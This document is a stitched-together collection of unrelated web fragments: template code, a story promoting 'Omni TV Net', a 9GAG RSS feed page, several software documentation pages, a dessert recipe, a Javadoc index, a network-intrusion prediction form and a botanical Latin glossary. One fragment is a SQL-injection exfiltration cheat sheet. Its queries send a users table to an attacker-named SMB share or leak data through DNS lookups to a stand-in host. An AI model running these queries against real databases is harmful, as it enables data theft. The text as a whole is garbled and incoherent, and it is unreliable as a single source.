{% load l10n static thumbnail %}
{% localize off %}{% spaceless %}
{% with css_classes=instance.css_classes inline_styles=instance.inline_styles %}
{% for instance in gallery_instances %}
{% endfor %}
{% comment %}
Currently the template to render an image gallery is not implemented well.
This is because I didn't come accross yet a good image gallery implemented for Bootstrap-3.
HTML snippets are wellcommed.
{% endcomment %}
{% thumbnail gallery_instances.0.image 1665x1665 as thumb %}


Estate Agent Fee Calculator
Estimated property value:
Savings made:
using a fixed-fee online estate agent
Results based on a high street estate agent fee (
% incl VAT) and an online estate agent fixed-fee of:
Update calculator settings
High street estate agents fee - percentage (including VAT)
Online estate agents fixed fee (including VAT) in £


A Family In Use Of Omni TV Net
Lets begin a story of a Family of 7 (seven) headed by Mr Rahman who became a consumer of the Omni TV Net lately.
Mr Rahman, 40, a governmental class II employee is the head of the family. He maintains ledgers, receives and despatch official documents. He is also responsible for official accounts, prepares drafting for various bills & expenditure sheet. Sometimes the boss also give him extra job for budgeting. For quite a long time has passed since he is in this job. Nothing happened so delightful in his career so far. Omni TV Net has changed his life. Now he can operate personal computer. He can operate softwares like MS Word, MS Excel which are very useful for his official activities. He can also browse and write e-mail to his brother in the states. From services provided by the Omni TV Net, he is acquainted with some accounting softwares which has accelerated his performance in the office. He is now in charge of a big assignment on accounts for a large project. He is now preparing for appearing in the master's exam. He is now collecting various academic materials from the web and from the Omni TV Net's library facilities as well for preparation. He feels that he is born again and he is starting to feel that he is an important part of the society which he never felt in the same way.
Mrs Rahman, 35, a house-wife, is the lady in the house. She is a house-wife. Time is spent by taking care of her children, taking her little Tinku & Mina to the school, cooking & lots of other household works. Few days back, she used to pass her lazy hours by watching cable TV. Now-a-days, she has found something different with Omni TV Net's. She is having a cooking lesson from the Net's Library where she found a lot of recipes for some Chinese dishes which she wanted to learn long back. She has learnt to operate personal computer. She can talk to the neighbors by the Net's video phone service after hours. Now-a-days, expenditures for children's education, transport, daily necessaries, clothing, health etc is expanding. She has planned to contribute to the family's growing needs. She is now making home made pickles and marketing it through the Net's 'BAZAR' page (a page for personalized advertisements). She is also having her typing lessons. She never engaged herself with any professional courses since her graduation after her marriage. Well she intends to earn by doing some jobs at the Data Entry sector from the Net's Job Offering Page. She is having a dream of earning a lot to cope with the growing expenses now-a-days.
She has quite a free time at home. She does not have to go and take her children to the school since the whole school is at home. Yes, two of her Tinku & Mina are students of the Net's Virtual School. This school provides all the facilities of a school in conventional manner. No problem of security during taking her children to the school, or a fear of probable hijacking is no more.
In fact, it is the Omni-TV Net, which has fulfilled all her dreams and the desires which remained unanswered.
Shakib, 17, is the eldest son of the family. After the SSC exam, he is learning how to operate a PC. He is also learning some softwares like MS Word, MS Excel & some graphics sotfwares as well from the Net's virtual computer training centre at a very low cost. He is now dreaming to be a computer engineer. He is earning an extra money from the Net's Data Entry Jobs. He has given an advertisement in the Net's personalized advertisement page for private tuitions. He is getting some calls in response to the ad. He is taking preparation to get an admission in to a good college for which the Net is providing a good service.
Mina, 14, is the second child of the family. She is a student of class IX at the Net's Virtual School. She is a good computer operator. She can browse through the world wide web. She is in a process of learning a lot than a girl of her age. She can cook. She had some cooking lessons from the Net's Cooking school. Last month, her father was astonished having a nice dish all cooked by his little daughter. She can compose her e-mails to her uncle's family in the States all by herself. Last month she sent a greeting card by e-mail to her cousin at her birthday. In fact, her life is running in some different way than she had few years back.
Tinku, 9, is the youngest one in the family. Once he may be called somewhat like a spoilt child. His mother was tensed all the time when handling this child of hers. Omni-TV Net has relieved her off the tension. Tinku can type, travel through the web, play video games, and a lot more options he is discovering with the Omni-TV Net. He is a student of the Net's virtual school. He can have classes, and extended helps from private tutors through the Net's concerned services. He is also a member of the Net's 'Children's Educational Page' from where he can learn a lot about geography, history, politics and more.
Sheikh Abdur Rahman, 65, is the senior Mr Rahman, the father of Mr Rahman. He is a retired governmental employee. His wife passed away few years back leaving him alone. He caught diseases like diabetes, high blood pressure and various other old timer's companions at this stage of life. Once he felt most of the time alone but now the whole scene is different. He pass his time playing chess, having a chat with Mr Ahmed, 62, a neighbour by the Net's video phone. He can talk and see his another son in the States live. He is very happy when he talks & watch his grand children growing though living in a great distant. Few days back, the senior Mr Rahman had a heart attack at 3 am in the night. Everybody was worried about what may happen to him. The Net's On-Line Medical Centre did a great job. Their stand-by medical officer gave necessary advices and they called the ambulance too. Mr Rahman was transferred to the Hospital in no time. Mr Rahman survived that attack as the doctors said it was done only by a quick medical attention ( provided by the Net ). Now-a-days, he is not worried about his health anymore. It is the Net who can take care of him all through the hours of a day. It is Mr Rahman's favourite pass-time as well surfing the world wide web with his dear grand son. It's a great fun too.
Hasib Khan, 32, is the brother-in-law of Mr Rahman, ie, the younger brother of Mrs Rahman. Hasib had his graduation in his home town, Madaripur and had been unemployed since then. Once he had been a black sheep of the family. At one time, he got mixed up with the local hooligans, and, in a real sense, he became a problem to Mr Rahman's family. The whole scene changed when he had Omni-TV Net within his reach.Through omni-tv net, Hasib came to know about office management (word processing, spreadsheet analysis, database management,etc.).In fact, Omni-Tv net put options for Hasib to be have a carrier of a graphic designer,draftsman,audio/video editor, and more and more options one can dream of. Hasib chose the carrier of a graphics designer and discovered his talent in this very field. Now-a-days, he is working in a designing firm and planning to have his own address and bring his mom to build a family of his own.


{{ partial "featured-image.html" .ctx }} {{ with .ctx.Params.youtube }} The youtube player can not be loaded with disabled javascript. The following video is embedded here: https://youtube.com/watch?v={{ . }} {{ end }} {{ with .ctx.Params.vimeo }} The vimeo player can not be loaded with disabled javascript. The following video is embedded here: https://vimeo.com/{{ . }} {{ end }} {{ with .ctx.Params.prezi }} {{ end }} {{ if isset .ctx.Params "mp4video" }} Your browser does not support the video tag. {{ end }} {{ partial "default-content.html" (dict "ctx" .ctx "template_type" .template_type) }} {{ partial "article-footer.html" .ctx }}


Not so long ago, 9GAG was providing RSS feeds. The functionality was removed, probably to force the users to visit the website or to download the app. Since I didn't want to do any of those, I started to build my own RSS feeds from their content. The project is now mature enough, so I decided to make it available for free to everyone. Similar projects already exist, but they didn't meet my requirements.
You will find below all feeds you can get at 9GAG, from the usual "Hot", "Trending" or "Fresh" feeds to the category-specific feeds. Feeds are updated every 2 minutes, and the last 200 posts are made accessible. Once again, it is a free service, and no advertisement is inserted at any point.
Add the feeds you want in your favorite feed reader, and you are good to go!
Most popular posts, over 9000 points. Only the best of 9GAG, so updates are less frequent.
Popular posts with at least 300 points. Regular updates, but some "not-so-really" interesting posts in the feed.
All posts in real time. Be the first to get the updates, but be ready to get a lot of crap. I wouldn't recommend, except if you really have time to waste ;-)


This document is aimed to create and run an ASP.NET Zero based project in a few minutes.
Comprehensive guide to understand solution structure and start development.
Developing a multi-tenant, localized, authorized, configurable and testable phone book application step by step based on ASP.NET Zero startup project.
Change logs and relase notes.
Some planned features for next releases.
ASP.NET Zero is based on ASP.NET Boilerplate application framework. You can learn all it's features from it's compherensive official documentation.
ASP.NET Zero is based on beautiful and powerful metronic theme. You can see all metronic pages, components, change logs and more in it's official web site.


Check list
-
Your host is not blocking any traffic on your game server port (UDP Incoming & TCP Outgoing)
-
Your game server is online to people outside of your network w/o any error on binding
-
You can connect to server in-game
-
You can use RCON through in-game console, if not view TCP Error below
Using the debug tool
In SourceBans++’s root directory, there’s a connection debug tool named sb_debug_connection.php
Edit this section of that file with the corresponding server info
/**
* Config part
* Change to IP and port of the gameserver you want to test
*/
$serverip = "";
$serverport = 27015;
$serverrcon = ""; // You only need to specify this, if you want to test the rcon tcp connection either! Leave blank if it's only the serverinfo erroring.
Once complete, navigate to the file in your browser, and if done properly it will attempt to connect to the specified server.
UDP Error
-
Make sure your host is not blocking UDP Incoming
-
If hosting locally, make sure you are port forwarding correctly
-
Make sure your game server did not ban your web server’s IP using
listip
, if banned: remove it fromcfg/banned_ip.cfg
and usingremoveip IP
via RCON
TCP Error
-
Make sure your host is not blocking TCP Outgoing
-
Make sure your server is explicitly IP binded, do so using
-ip
launch parameter -
If you are unable to use RCON through in-game console, append
-usercon
to launch parameter


When you work with us, you are part of a team of committed collaborators.
All aspects of our software development process are integrated, interactive and agile.
Our approach unifies design, development and
product management to create exceptional products.
We start each project by understanding your business goals,
the user’s needs and the product requirements.
Then we translate them into effective and elegant solutions.
Before we sign a contract or write a line of code, our team will spend the necessary
time to understand your product vision.
The outcome of this scoping session is proposal or high-level statement of work.
Based on your requirements, we can provide a complete offering or just the pieces
you need.
Our design practice offers a full range of services including brand strategy, interaction and visual design and user experience testing. Throughout your project, our designers create and implement visual design and workflows, solicit user feedback and work with you to make sure what gets built is what is needed.
All engineers are fluent in the latest enterprise, mobile and web
development technologies.
They collaborate with your team to write, and improve code on a
daily basis, using proven practices such as test-driven development
and pair programming.
Planning and development is iterative.Because we are constantly
coding and testing, the products we build are always ready to go
live.
This iterative process allows for changes as business
requirements involve.
work1
work2
work3
work4
work5
work6
work7
work8
DELANI STUDIOS
© 2020


Azalée
Home
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$50
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$50
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Face Spray
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{% extends "../../layout.html" %} {% block sectionClasses %}plugins hasBreadCrumb plugins-spincast-css-autoprefixer{% endblock %} {% block meta_title %}Plugins - Spincast CSS Autoprefixer{% endblock %} {% block meta_description %}Spincast CSS Autoprefixer plugin - Autoprefixer integration to add vendor prefixes to CSS rules.{% endblock %} {% block scripts %} {% endblock %} {% block body %}
This plugin integrates Autoprefixer with Spincast
to easily add vendor prefixes to your CSS
.
It allows you to serve CSS
that has been tweaked so browsers support
is enhanced. For example, you may use this plugin to be able to use
CSS Grids
with good support for IE11!
As you will see in the Installation section, this plugin requires Node.js and three npm libraries to be installed on the environment(s) your Spincast application will run on.
In order to remove the need to install Node, we could have used hacks such
as J2V8! But solutions like those
always have more issues than "using the real thing" directly. Also, it seems
J2V8
may even
drop support for Node.js
in the near future.
You inject and use the SpincastCssAutoprefixerManager component to transform your CSS.
Let's say you have a dynamic resource route that serves your CSS files dynamically:
{% verbatim %}
router.dir("/publicdyn/css/*{relativePath}") .pathRelative("/publicdyn/css") .handle(publicResourcesController::dynCss);{% endverbatim %}
In the "dynCss(...)
" handler, you would get the raw content of the CSS file and tweak it using
the SpincastCssAutoprefixerManager
component before sending it:
{% verbatim %}
File rawCssFile = //... get the raw CSS file String cssContent = FileUtils.readFileToString(rawCssFile, "UTF-8"); JsonObject options = context.json().create(); options.set("grid", "autoplace"); String cssContentTweaked = getSpincastCssAutoprefixerManager().autoPrefix(cssContent, options); context.response().sendCharacters(cssContentTweaked, "text/css");{% endverbatim %}
Explanation :
relativePath
" path parameter taken from the request. We make sure we validate
this user input properly!
CSS Grids
.
Under the hood, another plugin is used,
Spincast Process Utils, in order to
call the postcss-cli
Node program,
with Autoprefixer enabled.
String autoPrefix(String cssContent, JsonObject options)
Run Autoprefixer on the specified CSS content, as a String. Returns the modified CSS.
void autoPrefix(File cssFile, JsonObject options)
Run Autoprefixer on the specified CSS file. The file will be modified and will contain the vendor prefixes.
boolean isValidAutoprefixerEnvironment()
Validate if the current environment has been properly configured for this plugin to work as it should.
Most of the possible options are passed inline, when you call autoPrefix(...). Those options are documented here.
There is only one global configuration:
String getPostcssExecutableName()
Allows you to modify the name of the executable the plugin will call.
By default, it will be "postcss
" except
on Windows where it will be "postcss.cmd
".
You can specify an absolute path here, but beware that
the "autoprefixer
" library must still be installed globally
or the command run by the plugin will fail.
In your Guice module, you can bind a custom implementation of SpincastCssAutoprefixerConfig in order to change the configuration.
This plugin depends on the Spincast Process Utils plugin
which is not provided by default by the spincast-default
artifact.
This dependency will be automatically installed. Note that it is always a good idea to read the documentation of the automatically installed plugins.
1. Make sure Node.js is properly installed on the machine(s) your Spincast application will run on.
2. Install postcss, postcss-cli and autoprefixer, globally, using npm:
{% verbatim %}
npm install -g postcss postcss-cli autoprefixer{% endverbatim %}
3. Add this Maven artifact to your project:
<dependency> <groupId>org.spincast</groupId> <artifactId>spincast-plugins-css-autoprefixer</artifactId> <version>{{spincast.spincastCurrrentVersion}}</version> </dependency>
4. Add an instance of the SpincastCssAutoprefixerPlugin plugin to your Spincast Bootstrapper: {% verbatim %}
Spincast.configure() .plugin(new SpincastCssAutoprefixerPlugin()) // ...


Delicious
The best food blog on the web
Posted on 15 Dec 2013 / Desserts
For the big swirl: Melt butter over medium heat in a saucepan. Add brown sugar and stir to dissolve. Halve all of the figs and toss in the saucepan with water and lemon juice. Cook over medium heat stirring frequently until you have a chunky-jammy mixture. Add salt with one or two stirs, set aside and let cool completely.
Ice Cream: In a small pot over medium heat combine milk and granulated sugar until sugar is completely dissolved and the milk is just barely lukewarm. Whisk in the egg yolks. Set mixture in the fridge and wait unitl the fig mixture is cold.
Using an ice cream machine, pour liquids into the frozen basin and process according to manufacturer instructions, i.e., let spin and thicken for 20 minutes before adding mascarpone, fig jam mixture, and the nuts. Continue to process for +/- 10 minutes. Pour semi-frozen mixutre into pyrex dish or glass tupperware. Freeze for at least two hours before serving.


{% extends "base.html" %} {% block title %}Lorgs: Help{% endblock %} {% block content %}
We have three main sections:
the Display Group offers you three buttons to customize the overall view:
Cast Timeshow/hide the time stamp for each cast
Durationshow/hide for how long each cast was active.
eg.: Healing Tide Totem is active for 10sec.
show/hide spell cooldowns.
Toggle the display for the cooldown-bars, that indicate for how long the spell was on cooldown.
This can be useful to see if players decided to hold a spell, or used it right as it came of cooldown.
next you have icons for each spell/consumable/trinket that has been found in those logs.
Click on any spell to show/hide it.
Click on a Group-Name to toggle all spells in that group.
These are roughly split into 4 categories:
Boss:abilities used by the encounter
Spec:spells cast by the player(s)
Potions:pots and consumables
Trinkets:on-use trinkets and similar items
All of tracked abilities are manual added to a whitelist.
If there are any missing spells you would like to see added, please feel free to reach out via discord.
show a different spec
swap between different bosses
go back to the start page
Item and ability tooltips by Wowhead.
All images copyright Blizzard Entertainment. World of Warcraft
Warcraft and Blizzard Entertainment are trademarks or registered trademarks of Blizzard Entertainment, Inc. in the U.S. and/or other countries.


- idleStateHandler - Variable in class io.parallec.core.actor.TcpWorker.MyPipelineFactory
-
The idle state handler.
- idleStateHandler - Variable in class io.parallec.core.actor.UdpWorker.UdpPipelineFactory
-
The idle state handler.
- ifTaskCompletedSuccessOrFailureFromResponse(ResponseOnSingeRequest) - Method in class io.parallec.core.actor.poll.HttpPollerProcessor
-
If task completed success or failure from response.
- ifThereIsErrorInResponse(ResponseOnSingeRequest) - Method in class io.parallec.core.actor.poll.HttpPollerProcessor
-
If there is error in response.
- init() - Method in class io.parallec.core.resources.HttpClientStore
-
Initialize
- init() - Method in class io.parallec.core.resources.TcpUdpSshPingResourceStore
-
Initialize; cached threadpool is safe as it is releasing resources automatically if idle
- initialize() - Method in class io.parallec.core.ParallelClient
-
Initialize.
- InitialRequestToManager - Class in io.parallec.core.actor.message
-
The Class InitialRequestToManager.
- InitialRequestToManager(ParallelTask) - Constructor for class io.parallec.core.actor.message.InitialRequestToManager
-
Instantiates a new initial request to manager with parallel task
- initTaskSchedulerIfNot() - Method in class io.parallec.core.task.ParallelTaskManager
-
as it is daemon thread
TODO when release external resources should shutdown the scheduler.
- initValuesNa() - Method in class io.parallec.core.bean.HttpMeta
-
for none HTTP type: set some default for HTTP (not used) to avoid NPE.
- inprogressTaskMap - Variable in class io.parallec.core.task.ParallelTaskManager
-
The inprogress task map.
- instance - Static variable in class io.parallec.core.commander.workflow.InternalDataProvider
-
The Constant instance.
- instance - Static variable in class io.parallec.core.commander.workflow.ping.PingProvider
-
- instance - Static variable in class io.parallec.core.commander.workflow.VarReplacementProvider
-
The Constant instance.
- instance - Static variable in class io.parallec.core.monitor.MonitorProvider
-
The instance.
- instance - Static variable in class io.parallec.core.resources.HttpClientStore
-
The singleton instance.
- instance - Static variable in class io.parallec.core.resources.TcpUdpSshPingResourceStore
-
The singleton instance.
- instance - Static variable in class io.parallec.core.task.ParallelTaskManager
-
The Constant instance.
- instance - Static variable in class io.parallec.core.util.DaemonThreadFactory
-
The instance.
- InternalDataProvider - Class in io.parallec.core.commander.workflow
-
generate the node data; make sure it is not null.
- InternalDataProvider() - Constructor for class io.parallec.core.commander.workflow.InternalDataProvider
-
Instantiates a new internal data provider.
- io.parallec.core.actor.message - package io.parallec.core.actor.message
-
Actor messages.
- io.parallec.core.actor.message.type - package io.parallec.core.actor.message.type
-
Actor message types.
- io.parallec.core.actor.poll - package io.parallec.core.actor.poll
-
Classes for handling Async APIs with polling progress APIs
with success / failure criteria
- io.parallec.core.app - package io.parallec.core.app
-
The package for storing sample applications using Parallec.
- io.parallec.core.bean.ping - package io.parallec.core.bean.ping
-
Beans related to ping.
- io.parallec.core.bean.ssh - package io.parallec.core.bean.ssh
-
Beans related to ssh.
- io.parallec.core.bean.tcp - package io.parallec.core.bean.tcp
-
Beans related to TCP.
- io.parallec.core.bean.udp - package io.parallec.core.bean.udp
-
- io.parallec.core.commander.workflow.ping - package io.parallec.core.commander.workflow.ping
-
Work flow utilities on ping.
- io.parallec.core.commander.workflow.ssh - package io.parallec.core.commander.workflow.ssh
-
Work flow utilities on ssh.
- io.parallec.core.config - package io.parallec.core.config
-
Configurations on global and task levels.
- io.parallec.core.exception - package io.parallec.core.exception
-
Exceptions.
- io.parallec.core.resources - package io.parallec.core.resources
-
External resources on async http client stores, thread pools for netty/ping/ssh.
- isAutoSaveLogToLocal() - Method in class io.parallec.core.config.ParallelTaskConfig
-
- isClosed - Static variable in class io.parallec.core.ParallelClient
-
The is closed is marked when all resources are released/not initialized.
- isComplete - Variable in class io.parallec.core.actor.poll.PollerData
-
The is complete.
- isComplete() - Method in class io.parallec.core.actor.poll.PollerData
-
Checks if is complete.
- isCompleted() - Method in class io.parallec.core.ParallelTask
-
state==ParallelTaskState.COMPLETED_WITHOUT_ERROR ||
state==ParallelTaskState.COMPLETED_WITH_ERROR;
- isEnableCapacityAwareTaskScheduler() - Method in class io.parallec.core.config.ParallelTaskConfig
-
- isError - Variable in class io.parallec.core.actor.poll.PollerData
-
The is error.
- isError() - Method in class io.parallec.core.actor.poll.PollerData
-
Checks if is error.
- isError() - Method in class io.parallec.core.ResponseOnSingleTask
-
Checks if is error.
- isFailObtainResponse() - Method in class io.parallec.core.actor.message.ResponseOnSingeRequest
-
Checks if is fail obtain response.
- isFileExist(String) - Static method in class io.parallec.core.util.PcFileNetworkIoUtils
-
Checks if is file exist.
- isGetAll() - Method in class io.parallec.core.bean.ResponseHeaderMeta
-
Checks if is gets the all.
- isPollable - Variable in class io.parallec.core.bean.HttpMeta
-
The is pollable.
- isPollable() - Method in class io.parallec.core.bean.HttpMeta
-
Checks if is pollable.
- isPollable() - Method in class io.parallec.core.bean.TaskRequest
-
Checks if is pollable.
- isPollable - Variable in class io.parallec.core.task.ParallelTaskBean
-
The is pollable.
- isPollable() - Method in class io.parallec.core.task.ParallelTaskBean
-
Checks if is pollable.
- isPrintHttpTrueHeaderMap() - Method in class io.parallec.core.config.ParallelTaskConfig
-
- isPrintPoller() - Method in class io.parallec.core.config.ParallelTaskConfig
-
- isPrivKeyUsePassphrase() - Method in class io.parallec.core.bean.ssh.SshMeta
-
Checks if is priv key use passphrase.
- isReachableByPing(String, PingMeta) - Method in class io.parallec.core.commander.workflow.ping.PingProvider
-
- isReachableByPingHelper(String, PingMeta) - Method in class io.parallec.core.commander.workflow.ping.PingProvider
-
- isRunAsSuperUser() - Method in class io.parallec.core.bean.ssh.SshMeta
-
Checks if is run as super user.
- isSaveResponseToTask() - Method in class io.parallec.core.config.ParallelTaskConfig
-
- isSentReply() - Method in class io.parallec.core.actor.PingWorker
-
Checks if is sent reply.
- isSentReply() - Method in class io.parallec.core.actor.SshWorker
-
Checks if is sent reply.
- isStuckProgress - Variable in class io.parallec.core.actor.poll.PollerData
-
The is stuck progress.
- isStuckProgress() - Method in class io.parallec.core.actor.poll.PollerData
-
Checks if is stuck progress.
- isUrlValid(String) - Static method in class io.parallec.core.util.PcHttpUtils
-
currently not to use MalformedURLException or MalformedURLException as
our logic includes add HTTP :// etc Assuming not null .
- isUuidHasBeenSet() - Method in class io.parallec.core.actor.poll.PollerData
-
Checks if is uuid has been set.
- ITargetHostsBuilder - Interface in io.parallec.core.taskbuilder.targethosts
-
The Interface to build the target hosts.


* Requires privileged user
| Description | Query |
|---|---|
| DNS Request | SELECT LOAD_FILE(concat('\\\\',(QUERY_WITH_ONLY_ONE_ROW), 'yourhost.com\\')) |
| SMB Share | SELECT * FROM USERS INTO OUTFILE '\\attacker\SMBshare\output.txt' |
| HTTP Server | SELECT * FROM USERS INTO OUTFILE '/var/www/html/output.txt' |
| Numeric Concatenation | SELECT length(user()) SELECT ASCII(substr(user(),1)) When data can only be exported as numbers, convert to ASCII. For automation see here. |


NIDS
NIDS
based
Web-App
Attack:
Other
neptune
normal
satan
Number of connections to the same destination host as the current connection in the past two seconds :
The percentage of connections that were to different services, among the connections aggregated in dst_host_count :
The percentage of connections that were to the same source port, among the connections aggregated in dst_host_srv_count :
The percentage of connections that were to the same service, among the connections aggregated in dst_host_count :
Number of connections having the same port number :
Status of the connection –Normal or Error :
Other
S0
SF
Last Flag :
1 if successfully logged in; 0 otherwise :
The percentage of connections that were to the same service, among the connections aggregated in count :
The percentage of connections that have activated the flag (4) s0, s1, s2 or s3, among the connections aggregated in count :
Destination network service used http or not :
No
Yes
Predict
{% if output %}
Attack Class should be
{{ output }}
{% endif %}


If you click on the "Hide" button, I will disapear; If you click on "Show" button, I will show again.
Click to slide the panel down or up
Hello world!
Press the key for 3 - 10 times inside. More key-press, more red:
Press the key (Let the key down) inside. More key-down, more flicker


The contact number you entered is already been used. Re-check the number or enter a valid mobile number


{{ event.name }}
{{ event.startdate.year }}
Registration: {{ event.regopendate }}
Location: {% if event.state is not none %} {{ event.state }} {% endif %} {% if event.country is not none %} {{ event.country }} {% endif %}
Status:
Organization: {% if event.organization is not none %} {{ event.organization }} {% endif %}
Time: {{ race.starttime }} to {{ race.endtime }}
Capacity: {{ race.capacity }}
Registration Price: ${{ race.price }}
Description: {{ race.description }}
Delete Race?
{% endfor %}
General
{{event.description}}
Schedule
Event schedule will display here with detail time for each activity! Event schedule will display here with detail time for each activity!
Event schedule will display here with detail time for each activity! Event schedule will display here with detail time for each activity!
Location
Event location will display here with map and race route! Event location will display here with map and race route!
Event location will display here with map and race route! Event location will display here with map and race route!
Reviews
Event reviews will display here with runner rating and comments! Event reviews will display here with runner rating and comments!
Event reviews will display here with runner rating and comments! Event reviews will display here with runner rating and comments!


© 2019
| atramentarius atramentaria atramentarium | ink like | |||
| atramentum | atrament | noun/n | a black liquid; ink; boot black | |
| arius | ari | adj | adjective suffix for nouns or numbers: connected to or possessed by | |
| Acacia atramentaria Benth. | ||||
| atramentifer atramentifera atramentiferum | ink bearing | |||
| atramentum | atrament | noun/n | a black liquid; ink; boot black | |
| i | i | cnct | connective vowel used by botanical Latin | |
| fer | fer | apar | fero to bear, carry, bring | |
| Myrcia atramentifera Barb. Rodr. | ||||
| atratus atrata atratum | black | |||
| atratus | atrat | adj | clothed in black, dressed in mourning | |
| Carex atrata Boott Hieracium atratum Fries Astragalus atratus S. Wats. | ||||
| atricolor atricolores | dark color | |||
| ater | atr | adj | black, sable, dark, gloomy (compounds: classical latin atri-; botanical latin atro-) | |
| i | i | cnct | connective vowel used by botanical Latin | |
| color | color | noun | color | |
| atriplicifolius atriplicifolia atriplicifolium | Atriplex leaved | |||
| atriplex | atriplic | noun/n | ατραφαξιϛ, ατραφαξυϛ, αδραφαξυϛ, ανδραφαξιϛ a pot-herb like spinach, orach (Atriplex hortensis) from which the entire genus gets its name | |
| i | i | cnct | connective vowel used by botanical Latin | |
| folius | foli | adj | folium leaf | |
| Beta atriplicifolia Rouy Arnoglossum atriplicifolium (L.) H.E. Robins. | ||||
| atrocarpus atrocarpa atrocarpum | dark seed | |||
| ater | atr | adj | black, sable, dark, gloomy (compounds: classical latin atri-; botanical latin atro-) | |
| o | o | cnct | connective vowel in botanical Latin, usually for Greek words but in some cases, such as color tingeing, for Latin words | |
| carpos | carp | noun/m | καρποϛ fruit | |
| us | adj | Latinizing suffix | ||
| Berberis atrocarpa C. K. Schneid. Pandanus atrocarpus Griff. | ||||
| atrocinctus atrocincta atrocinctum | dark band | |||
| ater | atr | adj | black, sable, dark, gloomy (compounds: classical latin atri-; botanical latin atro-) | |
| o | o | cnct | connective vowel in botanical Latin, usually for Greek words but in some cases, such as color tingeing, for Latin words | |
| cinctus | cinct | ppar | cingo to surround with a girdle; to gird | |
| Scirpus atrocinctus Fern. | ||||
| atrocinereus atrocinerea atrocinereum | dark gray | |||
| ater | atr | adj | black, sable, dark, gloomy (compounds: classical latin atri-; botanical latin atro-) | |
| o | o | cnct | connective vowel in botanical Latin, usually for Greek words but in some cases, such as color tingeing, for Latin words | |
| cinereus | cinere | adj | like ashes, ash colored | |
| Salix atrocinerea Brot. | ||||
| atrococcus atrococca atrococcum | dark red | |||
| ater | atr | adj | black, sable, dark, gloomy (compounds: classical latin atri-; botanical latin atro-) | |
| o | o | cnct | connective vowel in botanical Latin, usually for Greek words but in some cases, such as color tingeing, for Latin words | |
| coccos | cocc | noun/n | κοκκοϛ berry of the scarlet oak, used as a red dye | |
| us | adj | Latinizing suffix | ||
| Chamaesyce atrococca (Heller) Croizat & Deg. Vaccinium atrococcum (Gray) Heller Cyanococcus atrococcus (Gray) Small | ||||
| atrocyaneus atrocyanea atrocyaneum | very dark blue | |||
| ater | atr | adj | black, sable, dark, gloomy (compounds: classical latin atri-; botanical latin atro-) | |
| o | o | cnct | connective vowel in botanical Latin, usually for Greek words but in some cases, such as color tingeing, for Latin words | |
| cyaneus | cyane | adj | κυανεοϛ dark blue | |
| Iris atrocyanea Small Viburnum atrocyaneum C. B. Clarke | ||||
| atroflavescens atroflavescens atroflavescens | becoming dark yellow | |||
| ater | atr | adj | black, sable, dark, gloomy (compounds: classical latin atri-; botanical latin atro-) | |
| o | o | cnct | connective vowel in botanical Latin, usually for Greek words but in some cases, such as color tingeing, for Latin words | |
| flavus | flav | adj | golden yellow, reddish yellow, flaxen, blonde | |
| escens | escent | adj | adjective suffix for nouns or adjectives: becoming like, incomplete resemblance -ish | |
| Rhizocarpon atroflavescens Lynge | ||||
| atroflavus atroflava atroflavum | dark yellow | |||
| ater | atr | adj | black, sable, dark, gloomy (compounds: classical latin atri-; botanical latin atro-) | |
| o | o | cnct | connective vowel in botanical Latin, usually for Greek words but in some cases, such as color tingeing, for Latin words | |
| flavus | flav | adj | golden yellow, reddish yellow, flaxen, blonde | |
| Caloplaca atroflava (Turner) Mong. | ||||
| atrofulvus atrofulva atrofulvum | very dark yellow | |||
| ater | atr | adj | black, sable, dark, gloomy (compounds: classical latin atri-; botanical latin atro-) | |
| o | o | cnct | connective vowel in botanical Latin, usually for Greek words but in some cases, such as color tingeing, for Latin words | |
| fulvus | fulv | adj | deep yellow, reddish yellow, golden, tawny | |
| Miriquidica atrofulva (Sommerf.) A. J. Schwab & Rambold | ||||
| atrofuscus atrofusca atrofuscum | very dark | |||
| ater | atr | adj | black, sable, dark, gloomy (compounds: classical latin atri-; botanical latin atro-) | |
| o | o | cnct | connective vowel in botanical Latin, usually for Greek words but in some cases, such as color tingeing, for Latin words | |
| fuscus | fusc | adj | dark, dusky, swarthy | |
| Carex atrofusca Schkuhr | ||||
| atroglandulosus atroglandulosa atroglandulosum | dark glands | |||
| ater | atr | adj | black, sable, dark, gloomy (compounds: classical latin atri-; botanical latin atro-) | |
| o | o | cnct | connective vowel in botanical Latin, usually for Greek words but in some cases, such as color tingeing, for Latin words | |
| glandulosus | glandulos | adj | full of glands | |
| Oxalis atroglandulosa R. Knuth | ||||
| atroglaucus atroglauca atroglaucum | dark glaucus | |||
| ater | atr | adj | black, sable, dark, gloomy (compounds: classical latin atri-; botanical latin atro-) | |
| o | o | cnct | connective vowel in botanical Latin, usually for Greek words but in some cases, such as color tingeing, for Latin words | |
| glaucus | glauc | adj | γλαυκοϛ bright, sparkling, gleaming; grayish, bluish-green (for plants, a white bloom on a leaf giving a gray-green appearance) | |
| Taraxacum atroglaucum M.P. Christens. | ||||
| atrogriseus atrogrisea atrogriseum | dark gray | |||
| ater | atr | adj | black, sable, dark, gloomy (compounds: classical latin atri-; botanical latin atro-) | |
| o | o | cnct | connective vowel in botanical Latin, usually for Greek words but in some cases, such as color tingeing, for Latin words | |
| griseus | grise | adj | ML gray | |
| Bacidia atrogrisea (Delise ex Hepp) Korber | ||||
| atrolutescens atrolutescens atrolutescens | becoming dark yellow | |||
| ater | atr | adj | black, sable, dark, gloomy (compounds: classical latin atri-; botanical latin atro-) | |
| o | o | cnct | connective vowel in botanical Latin, usually for Greek words but in some cases, such as color tingeing, for Latin words | |
| luteus | lute | adj | golden, saffron, orange-yellow | |
| scens | scent | adj | escens adjective suffix for nouns or adjectives: becoming like, incomplete resemblance -ish | |
| Lecidea atrolutescens Nyl. | ||||
| atromarginatus atromarginata atromarginatum | dark margins | |||
| ater | atr | adj | black, sable, dark, gloomy (compounds: classical latin atri-; botanical latin atro-) | |
| o | o | cnct | connective vowel in botanical Latin, usually for Greek words but in some cases, such as color tingeing, for Latin words | |
| marginatus | marginat | ppar | marginato to furnish with a border; to border, enclose with a margin | |
| Lecidea atromarginata H. Magn. | ||||
| atroniveus atronivea atroniveum | black and white | |||
| ater | atr | adj | black, sable, dark, gloomy (compounds: classical latin atri-; botanical latin atro-) | |
| o | o | cnct | connective vowel in botanical Latin, usually for Greek words but in some cases, such as color tingeing, for Latin words | |
| niveus | nive | adj | of the snow; snow white | |
| Carbonea atronivea (Arnold) Hertel | ||||
| atropalustris atropalustris atropalustre | dark marshes | |||
| ater | atr | adj | black, sable, dark, gloomy (compounds: classical latin atri-; botanical latin atro-) | |
| o | o | cnct | connective vowel in botanical Latin, usually for Greek words but in some cases, such as color tingeing, for Latin words | |
